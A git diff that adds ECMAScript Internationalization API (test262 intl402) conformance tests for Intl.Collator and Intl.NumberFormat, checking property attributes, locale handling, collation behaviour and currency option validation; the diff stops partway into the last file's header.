diff --git a/js/src/tests/test262/intl402/ch10/10.2/10.2.1.js b/js/src/tests/test262/intl402/ch10/10.2/10.2.1.js
new file mode 100644
index 000000000..9eccb073c
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.2/10.2.1.js
@@ -0,0 +1,22 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.Collator.prototype has the required attributes.
+ * @author Norbert Lindenberg
+ */
+
+var desc = Object.getOwnPropertyDescriptor(Intl.Collator, "prototype");
+if (desc === undefined) {
+ $ERROR("Intl.Collator.prototype is not defined.");
+}
+if (desc.writable) {
+ $ERROR("Intl.Collator.prototype must not be writable.");
+}
+if (desc.enumerable) {
+ $ERROR("Intl.Collator.prototype must not be enumerable.");
+}
+if (desc.configurable) {
+ $ERROR("Intl.Collator.prototype must not be configurable.");
+}
+
diff --git a/js/src/tests/test262/intl402/ch10/10.2/10.2.2_L15.js b/js/src/tests/test262/intl402/ch10/10.2/10.2.2_L15.js
new file mode 100644
index 000000000..6ffcdde84
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.2/10.2.2_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.Collator.supportedLocalesOf
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Intl.Collator.supportedLocalesOf, true, false, [], 1);
+
diff --git a/js/src/tests/test262/intl402/ch10/10.2/10.2.2_a.js b/js/src/tests/test262/intl402/ch10/10.2/10.2.2_a.js
new file mode 100644
index 000000000..5cf953ce8
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.2/10.2.2_a.js
@@ -0,0 +1,27 @@
+// Copyright 2012 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.Collator has a supportedLocalesOf
+ * property, and it works as planned.
+ */
+
+var defaultLocale = new Intl.Collator().resolvedOptions().locale;
+var notSupported = 'zxx'; // "no linguistic content"
+var requestedLocales = [defaultLocale, notSupported];
+
+var supportedLocales;
+
+if (!Intl.Collator.hasOwnProperty('supportedLocalesOf')) {
+ $ERROR("Intl.Collator doesn't have a supportedLocalesOf property.");
+}
+
+supportedLocales = Intl.Collator.supportedLocalesOf(requestedLocales);
+if (supportedLocales.length !== 1) {
+ $ERROR('The length of supported locales list is not 1.');
+}
+
+if (supportedLocales[0] !== defaultLocale) {
+ $ERROR('The default locale is not returned in the supported list.');
+}
+
diff --git a/js/src/tests/test262/intl402/ch10/10.2/10.2.2_b.js b/js/src/tests/test262/intl402/ch10/10.2/10.2.2_b.js
new file mode 100644
index 000000000..1b99fd8c5
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.2/10.2.2_b.js
@@ -0,0 +1,13 @@
+// Copyright 2013 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.Collator.supportedLocalesOf
+ * doesn't access arguments that it's not given.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+taintDataProperty(Object.prototype, "1");
+new Intl.Collator("und");
diff --git a/js/src/tests/test262/intl402/ch10/10.2/10.2.3_b.js b/js/src/tests/test262/intl402/ch10/10.2/10.2.3_b.js
new file mode 100644
index 000000000..aef1e746a
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.2/10.2.3_b.js
@@ -0,0 +1,52 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.Collator does not accept Unicode locale
+ * extension keys and values that are not allowed.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var testArray = [
+ "hello", "你好", "こんにちは",
+ "pêche", "peché", "1", "9", "10",
+ "ụ\u031B", "u\u031B\u0323", "ư\u0323", "u\u0323\u031B",
+ "Å", "Å", "A\u030A"
+];
+
+var defaultCollator = new Intl.Collator();
+var defaultOptions = defaultCollator.resolvedOptions();
+var defaultOptionsJSON = JSON.stringify(defaultOptions);
+var defaultLocale = defaultOptions.locale;
+var defaultSortedArray = testArray.slice(0).sort(defaultCollator.compare);
+
+var keyValues = {
+ "co": ["standard", "search", "invalid"],
+ "ka": ["noignore", "shifted", "invalid"],
+ "kb": ["true", "false", "invalid"],
+ "kc": ["true", "false", "invalid"],
+ "kh": ["true", "false", "invalid"],
+ "kk": ["true", "false", "invalid"],
+ "kr": ["latn-hira-hani", "hani-hira-latn", "invalid"],
+ "ks": ["level1", "level2", "level3", "level4", "identic", "invalid"],
+ "vt": ["1234-5678-9abc-edf0", "invalid"]
+};
+
+Object.getOwnPropertyNames(keyValues).forEach(function (key) {
+ keyValues[key].forEach(function (value) {
+ var collator = new Intl.Collator([defaultLocale + "-u-" + key + "-" + value]);
+ var options = collator.resolvedOptions();
+ if (options.locale !== defaultLocale) {
+ $ERROR("Locale " + options.locale + " is affected by key " +
+ key + "; value " + value + ".");
+ }
+ if (JSON.stringify(options) !== defaultOptionsJSON) {
+ $ERROR("Resolved options " + JSON.stringify(options) + " are affected by key " +
+ key + "; value " + value + ".");
+ }
+ testArraysAreSame(defaultSortedArray, testArray.sort(collator.compare));
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch10/10.2/browser.js b/js/src/tests/test262/intl402/ch10/10.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.2/browser.js
diff --git a/js/src/tests/test262/intl402/ch10/10.2/shell.js b/js/src/tests/test262/intl402/ch10/10.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.2/shell.js
diff --git a/js/src/tests/test262/intl402/ch10/10.3/10.3.1.js b/js/src/tests/test262/intl402/ch10/10.3/10.3.1.js
new file mode 100644
index 000000000..699949e18
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.3/10.3.1.js
@@ -0,0 +1,13 @@
+// Copyright 2012 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.Collator.prototype.constructor is the
+ * Intl.Collator.
+ */
+
+if (Intl.Collator.prototype.constructor !== Intl.Collator) {
+ $ERROR("Intl.Collator.prototype.constructor is not the same as " +
+ "Intl.Collator");
+}
+
diff --git a/js/src/tests/test262/intl402/ch10/10.3/10.3.2_1_a_L15.js b/js/src/tests/test262/intl402/ch10/10.3/10.3.2_1_a_L15.js
new file mode 100644
index 000000000..3d49601db
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.3/10.3.2_1_a_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that the function returned by Intl.Collator.prototype.compare
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(new Intl.Collator().compare, true, false, [], 2);
+
diff --git a/js/src/tests/test262/intl402/ch10/10.3/10.3.2_1_c.js b/js/src/tests/test262/intl402/ch10/10.3/10.3.2_1_c.js
new file mode 100644
index 000000000..73f2bcf09
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.3/10.3.2_1_c.js
@@ -0,0 +1,36 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that compare function is bound to its Intl.Collator.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var strings = ["d", "O", "od", "oe", "of", "ö", "o\u0308", "X", "y", "Z", "Z.", "𠮷野家", "吉野家", "!A", "A", "b", "C"];
+var locales = [undefined, ["de"], ["de-u-co-phonebk"], ["en"], ["ja"], ["sv"]];
+var options = [
+ undefined,
+ {usage: "search"},
+ {sensitivity: "base", ignorePunctuation: true}
+];
+
+locales.forEach(function (locales) {
+ options.forEach(function (options) {
+ var collatorObj = new Intl.Collator(locales, options);
+ var compareFunc = collatorObj.compare;
+ var referenceSorted = strings.slice();
+ referenceSorted.sort(function (a, b) { return collatorObj.compare(a, b); });
+ var sorted = strings;
+ sorted.sort(compareFunc);
+ try {
+ testArraysAreSame(referenceSorted, sorted);
+ } catch (e) {
+ e.message += " (Testing with locales " + locales + "; options " +
+ (options ? JSON.stringify(options) : options) + ".)";
+ throw e;
+ }
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch10/10.3/10.3.2_CS_a.js b/js/src/tests/test262/intl402/ch10/10.3/10.3.2_CS_a.js
new file mode 100644
index 000000000..a946245b4
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.3/10.3.2_CS_a.js
@@ -0,0 +1,68 @@
+// Copyright 2012 Norbert Lindenberg. All rights reserved.
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that the function returned by Intl.Collator.prototype.compare
+ * returns 0 when comparing Strings that are considered canonically equivalent
+ * by the Unicode standard.
+ * @author Norbert Lindenberg
+ */
+
+var collator = new Intl.Collator();
+var pairs = [
+ // example from Unicode 5.0, section 3.7, definition D70
+ ["o\u0308", "ö"],
+ // examples from Unicode 5.0, chapter 3.11
+ ["ä\u0323", "a\u0323\u0308"],
+ ["a\u0308\u0323", "a\u0323\u0308"],
+ ["ạ\u0308", "a\u0323\u0308"],
+ ["ä\u0306", "a\u0308\u0306"],
+ ["ă\u0308", "a\u0306\u0308"],
+ // example from Unicode 5.0, chapter 3.12
+ ["\u1111\u1171\u11B6", "퓛"],
+ // examples from UTS 10, Unicode Collation Algorithm
+ ["Å", "Å"],
+ ["Å", "A\u030A"],
+ ["x\u031B\u0323", "x\u0323\u031B"],
+ ["ự", "ụ\u031B"],
+ ["ự", "u\u031B\u0323"],
+ ["ự", "ư\u0323"],
+ ["ự", "u\u0323\u031B"],
+ // examples from UAX 15, Unicode Normalization Forms
+ ["Ç", "C\u0327"],
+ ["q\u0307\u0323", "q\u0323\u0307"],
+ ["가", "\u1100\u1161"],
+ ["Å", "A\u030A"],
+ ["Ω", "Ω"],
+ ["Å", "A\u030A"],
+ ["ô", "o\u0302"],
+ ["ṩ", "s\u0323\u0307"],
+ ["ḋ\u0323", "d\u0323\u0307"],
+ ["ḋ\u0323", "ḍ\u0307"],
+ ["q\u0307\u0323", "q\u0323\u0307"],
+ // examples involving supplementary characters from UCD NormalizationTest.txt
+ ["\uD834\uDD5E", "\uD834\uDD57\uD834\uDD65"],
+ ["\uD87E\uDC2B", "北"]
+
+];
+var i;
+for (i = 0; i < pairs.length; i++) {
+ var pair = pairs[i];
+ if (collator.compare(pair[0], pair[1]) !== 0) {
+ $ERROR("Collator.compare considers " + pair[0] + " (" + toU(pair[0]) +
+ ") ≠ " + pair[1] + " (" + toU(pair[1]) + ").");
+ }
+}
+
+function toU(s) {
+ var result = "";
+ var escape = "\\u0000";
+ var i;
+ for (i = 0; i < s.length; i++) {
+ var hex = s.charCodeAt(i).toString(16);
+ result += escape.substring(0, escape.length - hex.length) + hex;
+ }
+ return result;
+}
+
diff --git a/js/src/tests/test262/intl402/ch10/10.3/10.3.2_CS_b_NN.js b/js/src/tests/test262/intl402/ch10/10.3/10.3.2_CS_b_NN.js
new file mode 100644
index 000000000..c417d2b8a
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.3/10.3.2_CS_b_NN.js
@@ -0,0 +1,22 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the compare function isn't entirely unreasonable.
+ * This test is not normative.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+// this test should be valid at least for the following locales
+var locales = ["de", "en", "es", "fr", "it"];
+locales = Intl.Collator.supportedLocalesOf(locales, {localeMatcher: "lookup"});
+locales.forEach(function (locale) {
+ var collator = new Intl.Collator([locale], {sensitivity: "variant", localeMatcher: "lookup"});
+ var a = ["L", "X", "C", "k", "Z", "H", "d", "m", "w", "A", "i", "f", "y", "E", "N", "V", "g", "J", "b"];
+ a.sort(collator.compare);
+ var expected = ["A", "b", "C", "d", "E", "f", "g", "H", "i", "J", "k", "L", "m", "N", "V", "w", "X", "y", "Z"];
+ testArraysAreSame(expected, a);
+});
+
diff --git a/js/src/tests/test262/intl402/ch10/10.3/10.3.2_CS_c_NN.js b/js/src/tests/test262/intl402/ch10/10.3/10.3.2_CS_c_NN.js
new file mode 100644
index 000000000..5d5060be5
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.3/10.3.2_CS_c_NN.js
@@ -0,0 +1,22 @@
+// Copyright 2011-2012 Norbert Lindenberg. All rights reserved.
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the compare function supports phonebook sorting if it says it does.
+ * This test is not normative.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+// this test should be valid at least for the following locales
+var locales = ["de-DE-u-co-phonebk", "de-u-co-phonebk"];
+var collator = new Intl.Collator(locales, {localeMatcher: "lookup"});
+if (locales.indexOf(collator.resolvedOptions().locale) !== -1) {
+ var a = ["A", "b", "Af", "Ab", "od", "off", "Ä", "ö"];
+ a.sort(collator.compare);
+ var expected = ["A", "Ab", "Ä", "Af", "b", "od", "ö", "off"];
+ testArraysAreSame(expected, a);
+}
+
diff --git a/js/src/tests/test262/intl402/ch10/10.3/10.3.2_CS_d_NN.js b/js/src/tests/test262/intl402/ch10/10.3/10.3.2_CS_d_NN.js
new file mode 100644
index 000000000..be5f1aa33
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.3/10.3.2_CS_d_NN.js
@@ -0,0 +1,34 @@
+// Copyright 2011-2012 Norbert Lindenberg. All rights reserved.
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the compare function supports different sensitivity settings.
+ * This test is not normative.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+// this test should be valid at least for the following locales
+var locales = ["de", "en", "es", "it"];
+locales = Intl.Collator.supportedLocalesOf(locales, {localeMatcher: "lookup"});
+locales.forEach(function (locale) {
+ var target = "Aa";
+ var input = ["Aa", "bA", "E", "b", "aA", "fC", "áÁ", "Aã"];
+ var expected = {
+ "base": ["Aa", "aA", "áÁ", "Aã"],
+ "accent": ["Aa", "aA"],
+ "case": ["Aa", "Aã"],
+ "variant": ["Aa"]
+ };
+ Object.getOwnPropertyNames(expected).forEach(function (sensitivity) {
+ var collator = new Intl.Collator([locale], {usage: "search",
+ sensitivity: sensitivity, localeMatcher: "lookup"});
+ var matches = input.filter(function (v) {
+ return collator.compare(v, target) === 0;
+ });
+ testArraysAreSame(expected[sensitivity], matches);
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch10/10.3/10.3.2_L15.js b/js/src/tests/test262/intl402/ch10/10.3/10.3.2_L15.js
new file mode 100644
index 000000000..5845ea3ca
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.3/10.3.2_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that the getter for Intl.Collator.prototype.compare
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Object.getOwnPropertyDescriptor(Intl.Collator.prototype, "compare").get , true, false, [], 0);
+
diff --git a/js/src/tests/test262/intl402/ch10/10.3/10.3.3.js b/js/src/tests/test262/intl402/ch10/10.3/10.3.3.js
new file mode 100644
index 000000000..bc6b4fabb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.3/10.3.3.js
@@ -0,0 +1,47 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that the object returned by Intl.Collator.prototype.resolvedOptions
+ * has the right properties.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+var actual = new Intl.Collator().resolvedOptions();
+
+var actual2 = new Intl.Collator().resolvedOptions();
+if (actual2 === actual) {
+ $ERROR("resolvedOptions returned the same object twice.");
+}
+
+// source: CLDR file common/bcp47/collation.xml; version CLDR 21.
+var collations = [
+ "default", // added
+ "big5han",
+ "dict",
+ "direct",
+ "ducet",
+ "gb2312",
+ "phonebk",
+ "phonetic",
+ "pinyin",
+ "reformed",
+ // "search", // excluded
+ "searchjl",
+ // "standard", // excluded
+ "stroke",
+ "trad",
+ "unihan"
+];
+
+// this assumes the default values where the specification provides them
+mustHaveProperty(actual, "locale", isCanonicalizedStructurallyValidLanguageTag);
+mustHaveProperty(actual, "usage", ["sort"]);
+mustHaveProperty(actual, "sensitivity", ["variant"]);
+mustHaveProperty(actual, "ignorePunctuation", [false]);
+mustHaveProperty(actual, "collation", collations);
+mayHaveProperty(actual, "numeric", [true, false]);
+mayHaveProperty(actual, "caseFirst", ["upper", "lower", "false"]);
+
diff --git a/js/src/tests/test262/intl402/ch10/10.3/10.3.3_L15.js b/js/src/tests/test262/intl402/ch10/10.3/10.3.3_L15.js
new file mode 100644
index 000000000..718cc9fea
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.3/10.3.3_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.Collator.prototype.resolvedOptions
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Intl.Collator.prototype.resolvedOptions, true, false, [], 0);
+
diff --git a/js/src/tests/test262/intl402/ch10/10.3/10.3_L15.js b/js/src/tests/test262/intl402/ch10/10.3/10.3_L15.js
new file mode 100644
index 000000000..60719736c
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.3/10.3_L15.js
@@ -0,0 +1,14 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.Collator.prototype
+ * meets the requirements for built-in objects defined by the introduction of
+ * chapter 15 of the ECMAScript Language Specification.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testBuiltInObject.js");
+
+testBuiltInObject(Intl.Collator.prototype, false, false, ["constructor", "compare", "resolvedOptions"]);
+
diff --git a/js/src/tests/test262/intl402/ch10/10.3/10.3_a.js b/js/src/tests/test262/intl402/ch10/10.3/10.3_a.js
new file mode 100644
index 000000000..aa2e52845
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.3/10.3_a.js
@@ -0,0 +1,15 @@
+// Copyright 2012 Google Inc. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.Collator.prototype is an object that
+ * has been initialized as an Intl.Collator.
+ */
+
+// test by calling a function that would fail if "this" were not an object
+// initialized as an Intl.Collator
+if (Intl.Collator.prototype.compare("aаあ아", "aаあ아") !== 0) {
+ $ERROR("Intl.Collator.prototype is not an object that has been " +
+ "initialized as an Intl.Collator.");
+}
+
diff --git a/js/src/tests/test262/intl402/ch10/10.3/10.3_b.js b/js/src/tests/test262/intl402/ch10/10.3/10.3_b.js
new file mode 100644
index 000000000..9c3c2db32
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.3/10.3_b.js
@@ -0,0 +1,33 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.Collator.prototype functions throw a
+ * TypeError if called on a non-object value or an object that hasn't been
+ * initialized as a Collator.
+ * @author Norbert Lindenberg
+ */
+
+var functions = {
+ "compare getter": Object.getOwnPropertyDescriptor(Intl.Collator.prototype, "compare").get,
+ resolvedOptions: Intl.Collator.prototype.resolvedOptions
+};
+var invalidTargets = [undefined, null, true, 0, "Collator", [], {}];
+
+Object.getOwnPropertyNames(functions).forEach(function (functionName) {
+ var f = functions[functionName];
+ invalidTargets.forEach(function (target) {
+ var error;
+ try {
+ f.call(target);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Calling " + functionName + " on " + target + " was not rejected.");
+ } else if (error.name !== "TypeError") {
+ $ERROR("Calling " + functionName + " on " + target + " was rejected with wrong error " + error.name + ".");
+ }
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch10/10.3/browser.js b/js/src/tests/test262/intl402/ch10/10.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.3/browser.js
diff --git a/js/src/tests/test262/intl402/ch10/10.3/shell.js b/js/src/tests/test262/intl402/ch10/10.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.3/shell.js
diff --git a/js/src/tests/test262/intl402/ch10/10.4/10.4_a.js b/js/src/tests/test262/intl402/ch10/10.4/10.4_a.js
new file mode 100644
index 000000000..7527f65eb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.4/10.4_a.js
@@ -0,0 +1,15 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that Intl.Collator instances have the specified properties.
+ * @author Norbert Lindenberg
+ */
+
+var obj = new Intl.Collator();
+
+var toStringValue = Object.prototype.toString.call(obj);
+if (toStringValue !== "[object Object]") {
+ $ERROR("Intl.Collator instance produces wrong [[Class]] - toString returns " + toStringValue + ".");
+}
+
diff --git a/js/src/tests/test262/intl402/ch10/10.4/browser.js b/js/src/tests/test262/intl402/ch10/10.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.4/browser.js
diff --git a/js/src/tests/test262/intl402/ch10/10.4/shell.js b/js/src/tests/test262/intl402/ch10/10.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/10.4/shell.js
diff --git a/js/src/tests/test262/intl402/ch10/browser.js b/js/src/tests/test262/intl402/ch10/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/browser.js
diff --git a/js/src/tests/test262/intl402/ch10/shell.js b/js/src/tests/test262/intl402/ch10/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch10/shell.js
diff --git a/js/src/tests/test262/intl402/ch11/11.1/11.1.1_1.js b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_1.js
new file mode 100644
index 000000000..33af16975
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_1.js
@@ -0,0 +1,43 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that an object can't be re-initialized as a NumberFormat.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testWithIntlConstructors(function (Constructor) {
+ var obj, error;
+
+ // variant 1: use constructor in a "new" expression
+ obj = new Constructor();
+ try {
+ Intl.NumberFormat.call(obj);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Re-initializing object created with \"new\" as NumberFormat was not rejected.");
+ } else if (error.name !== "TypeError") {
+ $ERROR("Re-initializing object created with \"new\" as NumberFormat was rejected with wrong error " + error.name + ".");
+ }
+
+ // variant 2: use constructor as a function
+ obj = Constructor.call({});
+ error = undefined;
+ try {
+ Intl.NumberFormat.call(obj);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Re-initializing object created with constructor as function as NumberFormat was not rejected.");
+ } else if (error.name !== "TypeError") {
+ $ERROR("Re-initializing object created with constructor as function as NumberFormat was rejected with wrong error " + error.name + ".");
+ }
+
+ return true;
+});
+
diff --git a/js/src/tests/test262/intl402/ch11/11.1/11.1.1_15.js b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_15.js
new file mode 100644
index 000000000..4d0467428
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_15.js
@@ -0,0 +1,13 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the option style is processed correctly.
+ * @author Norbert Lindenberg
+ */
+
+$INCLUDE("testIntl.js");
+
+testOption(Intl.NumberFormat, "style", "string", ["decimal", "percent", "currency"], "decimal",
+ {extra: {"currency": {currency: "CNY"}}});
+
diff --git a/js/src/tests/test262/intl402/ch11/11.1/11.1.1_17.js b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_17.js
new file mode 100644
index 000000000..08c0e8e5c
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_17.js
@@ -0,0 +1,81 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the option currency is processed correctly.
+ * @author Norbert Lindenberg
+ */
+
+var validValues = ["CNY", "USD", "EUR", "IDR", "jpy", {toString: function () {return "INR";}}];
+var invalidValues = ["$", "SFr.", "US$", "ßP", {toString: function () {return;}}];
+
+var defaultLocale = new Intl.NumberFormat().resolvedOptions().locale;
+
+validValues.forEach(function (value) {
+ var format, actual, expected;
+
+ // with currency style, we should get the upper case form back
+ format = new Intl.NumberFormat([defaultLocale], {style: "currency", currency: value});
+ actual = format.resolvedOptions().currency;
+ expected = value.toString().toUpperCase();
+ if (actual !== expected) {
+ $ERROR("Incorrect resolved currency with currency style - expected " +
+ expected + "; got " + actual + ".");
+ }
+
+ // without currency style, we shouldn't get any currency back
+ format = new Intl.NumberFormat([defaultLocale], {currency: value});
+ actual = format.resolvedOptions().currency;
+ expected = undefined;
+ if (actual !== expected) {
+ $ERROR("Incorrect resolved currency with non-currency style - expected " +
+ expected + "; got " + actual + ".");
+ }
+
+ // currencies specified through the locale must be ignored
+ format = new Intl.NumberFormat([defaultLocale + "-u-cu-krw"], {style: "currency", currency: value});
+ actual = format.resolvedOptions().currency;
+ expected = value.toString().toUpperCase();
+ if (actual !== expected) {
+ $ERROR("Incorrect resolved currency with -u-cu- and currency style - expected " +
+ expected + "; got " + actual + ".");
+ }
+
+ format = new Intl.NumberFormat([defaultLocale + "-u-cu-krw"], {currency: value});
+ actual = format.resolvedOptions().currency;
+ expected = undefined;
+ if (actual !== expected) {
+ $ERROR("Incorrect resolved currency with -u-cu- and non-currency style - expected " +
+ expected + "; got " + actual + ".");
+ }
+});
+
+invalidValues.forEach(function (value) {
+ function expectError(f) {
+ var error;
+ try {
+ f();
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Invalid currency value " + value + " was not rejected.");
+ } else if (error.name !== "RangeError") {
+ $ERROR("Invalid currency value " + value + " was rejected with wrong error " + error.name + ".");
+ }
+ }
+
+ expectError(function () {
+ return new Intl.NumberFormat([defaultLocale], {style: "currency", currency: value});
+ });
+ expectError(function () {
+ return new Intl.NumberFormat([defaultLocale], {currency: value});
+ });
+ expectError(function () {
+ return new Intl.NumberFormat([defaultLocale + "-u-cu-krw"], {style: "currency", currency: value});
+ });
+ expectError(function () {
+ return new Intl.NumberFormat([defaultLocale + "-u-cu-krw"], {currency: value});
+ });
+});
+
diff --git a/js/src/tests/test262/intl402/ch11/11.1/11.1.1_19.js b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_19.js
new file mode 100644
index 000000000..e41ca5bec
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_19.js
@@ -0,0 +1,31 @@
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that the currency style can not be used without a specified currency.
+ * @author Norbert Lindenberg
+ */
+
+var defaultLocale = new Intl.NumberFormat().resolvedOptions().locale;
+
+function expectError(f) {
+ var error;
+ try {
+ f();
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Invalid currency value " + value + " was not rejected.");
+ } else if (error.name !== "TypeError") {
+ $ERROR("Invalid currency value " + value + " was rejected with wrong error " + error.name + ".");
+ }
+}
+
+expectError(function () {
+ return new Intl.NumberFormat([defaultLocale], {style: "currency"});
+});
+expectError(function () {
+ return new Intl.NumberFormat([defaultLocale + "-u-cu-krw"], {style: "currency"});
+});
+
diff --git a/js/src/tests/test262/intl402/ch11/11.1/11.1.1_20_c.js b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_20_c.js
new file mode 100644
index 000000000..6a705ab33
--- /dev/null
+++ b/js/src/tests/test262/intl402/ch11/11.1/11.1.1_20_c.js
@@ -0,0 +1,196 @@
+// Copyright 2011-2012 Norbert Lindenberg. All rights reserved.
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
